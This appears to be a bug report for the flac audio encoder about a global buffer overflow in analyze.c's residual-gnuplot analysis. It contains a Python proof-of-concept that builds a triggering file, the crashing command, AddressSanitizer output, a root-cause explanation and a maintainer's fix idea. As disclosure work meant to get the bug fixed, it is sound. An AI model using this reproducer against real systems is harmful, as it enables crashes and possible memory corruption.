[BUG] Memory error in `flac analyze.c`

[ShangzhiXu]

Here's another similar vulnerability

PoC

#!/usr/bin/env python3
import struct
import subprocess
import sys
import os
import random
import math

FLAC_BIN = os.path.join(os.path.dirname(os.path.abspath(__file__)), "src", "flac", "flac")
WAV_PATH = "/tmp/poc_analyze.wav"
FLAC_PATH = "/tmp/poc_analyze.flac"

def create_noisy_wav(path, num_samples=300000, bps=24, channels=1, sample_rate=44100):
    bytes_per_sample = bps // 8
    data_size = num_samples * channels * bytes_per_sample
    block_align = channels * bytes_per_sample
    byte_rate = sample_rate * block_align

    rng = random.Random(42)

    with open(path, 'wb') as f:
        f.write(b'RIFF')
        f.write(struct.pack('<I', 36 + data_size))
        f.write(b'WAVE')
        f.write(b'fmt ')
        f.write(struct.pack('<I', 16))
        f.write(struct.pack('<HHIIHH', 1, channels, sample_rate,
                             byte_rate, block_align, bps))
        f.write(b'data')
        f.write(struct.pack('<I', data_size))

        max_val = (1 << (bps - 1)) - 1
        noise_amp = max_val // 4

        for i in range(num_samples * channels):
            t = i / sample_rate
            base = int(max_val * 0.3 * math.sin(2 * math.pi * 440 * t))
            base += int(max_val * 0.2 * math.sin(2 * math.pi * 1000 * t))
            base += int(max_val * 0.1 * math.sin(2 * math.pi * 2500 * t))
            noise = rng.randint(-noise_amp, noise_amp)
            val = max(-max_val - 1, min(max_val, base + noise))

            if bps == 24:
                b = val & 0xFFFFFF
                f.write(struct.pack('<I', b)[:3])
            elif bps == 16:
                f.write(struct.pack('<h', val))

def main():
    create_noisy_wav(WAV_PATH, num_samples=300000, bps=24)

    result = subprocess.run(
        [FLAC_BIN, "--force", "-0", WAV_PATH, "-o", FLAC_PATH],
        capture_output=True
    )
    if result.returncode != 0:
        print(f"Error encoding: {result.stderr.decode(errors='replace')}")
        sys.exit(1)
if __name__ == "__main__":
    main()

After execute the python script, we run the following code

z5500277@katana2:~/flac $ ./src/flac/flac --analyze --residual-gnuplot -f /tmp/poc_analyze.flac

flac git-afb801b2 20260122
Copyright (C) 2000-2009  Josh Coalson, 2011-2025  Xiph.Org Foundation
flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
welcome to redistribute it under certain conditions.  Type `flac' for details.

poc_analyze.flac: analyzing, 17% complete=================================================================
==3030892==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5621aa9ff650 at pc 0x5621a9c91351 bp 0x7ffc06fc8410 sp 0x7ffc06fc8408
WRITE of size 4 at 0x5621aa9ff650 thread T0
    #0 0x5621a9c91350 in update_stats /home/z5500277/flac/src/flac/analyze.c:203:29
    #1 0x5621a9c91350 in flac__analyze_frame /home/z5500277/flac/src/flac/analyze.c:155:5
    #2 0x5621a9c95c41 in write_callback /home/z5500277/flac/src/flac/decode.c:1372:4
    #3 0x5621a9d2c29a in write_audio_frame_to_client_ /home/z5500277/flac/src/libFLAC/stream_decoder.c:3630:10
    #4 0x5621a9d230ba in read_frame_ /home/z5500277/flac/src/libFLAC/stream_decoder.c:2613:7
    #5 0x5621a9d25702 in FLAC__stream_decoder_process_until_end_of_stream /home/z5500277/flac/src/libFLAC/stream_decoder.c:1186:9
    #6 0x5621a9c92f6b in DecoderSession_process /home/z5500277/flac/src/flac/decode.c:498:7
    #7 0x5621a9c92f6b in flac__decode_file /home/z5500277/flac/src/flac/decode.c:197:6
    #8 0x5621a9cbd7ca in decode_file /home/z5500277/flac/src/flac/main.c
    #9 0x5621a9cbc50c in do_it /home/z5500277/flac/src/flac/main.c:549:15
    #10 0x5621a9cbc50c in main /home/z5500277/flac/src/flac/main.c:382:13
    #11 0x7f6e63222864 in __libc_start_main (/lib64/libc.so.6+0x3a864) (BuildId: 1faac7cdefc71ce73027e33a84650684eecd1635)
    #12 0x5621a9bbc1dd in _start (/home/z5500277/flac/src/flac/flac+0x391dd)

0x5621aa9ff650 is located 0 bytes after global variable 'all_' defined in '/home/z5500277/flac/src/flac/analyze.c:51' (0x5621aa97f620) of size 524336
SUMMARY: AddressSanitizer: global-buffer-overflow /home/z5500277/flac/src/flac/analyze.c:203:29 in update_stats
Shadow bytes around the buggy address:
  0x5621aa9ff380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5621aa9ff400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5621aa9ff480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5621aa9ff500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5621aa9ff580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x5621aa9ff600: 00 00 00 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9
  0x5621aa9ff680: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x5621aa9ff700: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x5621aa9ff780: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x5621aa9ff800: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x5621aa9ff880: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3030892==ABORTING

Root Cause

The size of subframe_stats_t.buckets is fixed, which is 65535

typedef struct {
	pair_t buckets[FLAC__MAX_BLOCK_SIZE];
	int peak_index;
	uint32_t nbuckets;
	uint32_t nsamples;
	double sum, sos;
	double variance;
	double mean;
	double stddev;
} subframe_stats_t;

When program read the malicious input, a loop in analyze.c line 153-156 increase i without checking the buffer size of variable all_, leading to buffer overflow.

  for(i = 0; i < stats.nbuckets; i++) {
      update_stats(&all_, stats.buckets[i].residual, stats.buckets[i].count);
  }

[ktmf01]

As this is an export to gnuplot, I think the buckets need to be enlarged to more than a single residual. You can't really plot that much detail anyway. Perhaps we could mask the residual to the most significant 16 bits or something like that.